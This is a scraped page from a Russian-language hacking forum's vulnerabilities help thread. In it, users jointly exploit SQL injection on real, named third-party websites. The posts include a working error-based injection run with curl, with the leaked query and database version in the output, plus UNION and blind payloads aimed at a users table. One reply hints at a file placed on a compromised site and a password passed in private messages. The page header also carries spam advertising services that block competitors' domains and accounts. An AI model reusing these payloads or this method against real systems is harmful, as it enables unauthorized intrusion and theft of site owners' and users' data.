УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 145 из 296

145

Опции темы

Поиск в этой теме

Опции просмотра

#1441

14.10.2016, 16:18

BabaDook

Guest

Сообщений: n/a

Провел на форуме:
238786

Репутация: 40

Цитата:

Сообщение от pw0ned

pw0ned said:
↑
У меня и так если возникают вопросы, я все к нему и к нему )
Кажется мне, устал он от меня )

Куда ему деваться , сам виноват, если надо могу кинуть сайт где в основном sql , туда парни постят и надо раскручивать их .

#1442

14.10.2016, 16:18

Bobrenz

Guest

Сообщений: n/a

Провел на форуме:
8228

Репутация: 0

Парни, вы уж извините вот еще такой вариант

http://www.gameliner.nl/index.php?categoryid=1 с кавычками есть ошибка пытался с комментированием и без комментирования , но вывод так и не нашел, мб просто нет ничего? или криворукость и отсутствие опыта..дает о себе знать?

#1443

14.10.2016, 16:19

pw0ned

Guest

Сообщений: n/a

Провел на форуме:
33728

Репутация: 14

Цитата:

Сообщение от BabaDook

BabaDook said:
↑
Куда ему деваться , сам виноват, если надо могу кинуть сайт где в основном sql , туда парни постят и надо раскручивать их .

Буду благодарен )

#1444

14.10.2016, 17:00

t0ma5

Guest

Сообщений: n/a

Провел на форуме:
300820

Репутация: 90

Цитата:

Сообщение от Bobrenz

Bobrenz said:
↑
Парни, вы уж извините вот еще такой вариант
http://www.gameliner.nl/index.php?categoryid=1
с кавычками есть ошибка пытался с комментированием и без комментирования , но вывод так и не нашел, мб просто нет ничего? или криворукость и отсутствие опыта..дает о себе знать?

Код:

Code:
~$ curl -s -k 'http://www.gameliner.nl/review/1615&&(1)=(1)and(extractvalue(0x0a,concat(0x0a,(select(version())))))/mafia-iii'
Mysql failure:

-----------------------------

Query:
                        SELECT    r.id as id, r.score as score, bericht, u.titel as uitgever_titel, k.medewerker AS auteur,
                                g.id as game_id, p.titel as titel, pl.id as platform_id, pl.titel as platform, p.ean AS ean, keywords
                        FROM    reviews AS r
                                LEFT OUTER JOIN klanten AS k ON k.id = r.auteur_id
                                LEFT OUTER JOIN games AS g ON r.game_id = g.id
                                LEFT OUTER JOIN platformen AS pl ON g.platform_id = pl.id
                                LEFT OUTER JOIN producten AS p ON p.game_id = g.id
                                LEFT OUTER JOIN uitgevers AS u ON u.id = g.uitgever_id
                        WHERE    r.id = 1615&&(1)=(1)and(extractvalue(0x0a,concat(0x0a,(select(version())))))
Error: XPATH syntax error: '
5.1.73'

5.1.73

#1445

14.10.2016, 20:48

wkar

Познающий

Регистрация: 18.10.2009

Сообщений: 80

Провел на форуме:
1180165

Репутация: 11

Помогите раскрутить/ обойти фильтр

Код:

Code:
https://visionusasupplies.com/-pr_id-47' or  0--+     - так изначальный товар
https://visionusasupplies.com/-pr_id-47' or  1--+     - совсем другой
https://visionusasupplies.com/-pr_id-47' or  1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54--+
54 поля, но ничего не выводит

Спасибо BabaDook и qqq1457

#1446

14.10.2016, 21:54

BabaDook

Guest

Сообщений: n/a

Провел на форуме:
238786

Репутация: 40

Цитата:

Сообщение от wkar

wkar said:
↑
Помогите раскрутить/ обойти фильтр

Код:

Code:
https://visionusasupplies.com/-pr_id-47' or  0--+     - так изначальный товар
https://visionusasupplies.com/-pr_id-47' or  1--+     - совсем другой
https://visionusasupplies.com/-pr_id-47' or  1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54--+
54 поля, но ничего не выводит

Буду благодарен за любую помощь.

Слепая?

#1447

14.10.2016, 22:46

qqq1457

Guest

Сообщений: n/a

Провел на форуме:
8589

Репутация: 0

крути как слепую

https://visionusasupplies.com/-pr_id-47'+and+substring(version(),1,1)=5+--+

https://visionusasupplies.com/-pr_i...((select+id+from+users+limit+1,1),1,1))>1+--+

https://visionusasupplies.com/-pr_i...select+name+from+users+limit+1,1),1,1))>1+--+

пример тут

http://www.truehackers.ru/articles/v...zlom-v-slepuju

#1448

15.10.2016, 19:52

androd

Guest

Сообщений: n/a

Провел на форуме:
5429

Репутация: 2

Цитата:

Сообщение от wkar

wkar said:
↑
Помогите раскрутить/ обойти фильтр

Код:

Code:
https://visionusasupplies.com/-pr_id-47' or  0--+     - так изначальный товар
https://visionusasupplies.com/-pr_id-47' or  1--+     - совсем другой
https://visionusasupplies.com/-pr_id-47' or  1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54--+
54 поля, но ничего не выводит

Спасибо
BabaDook
и
qqq1457

https://visionusasupplies.com/images...gory_image.php

пас в личке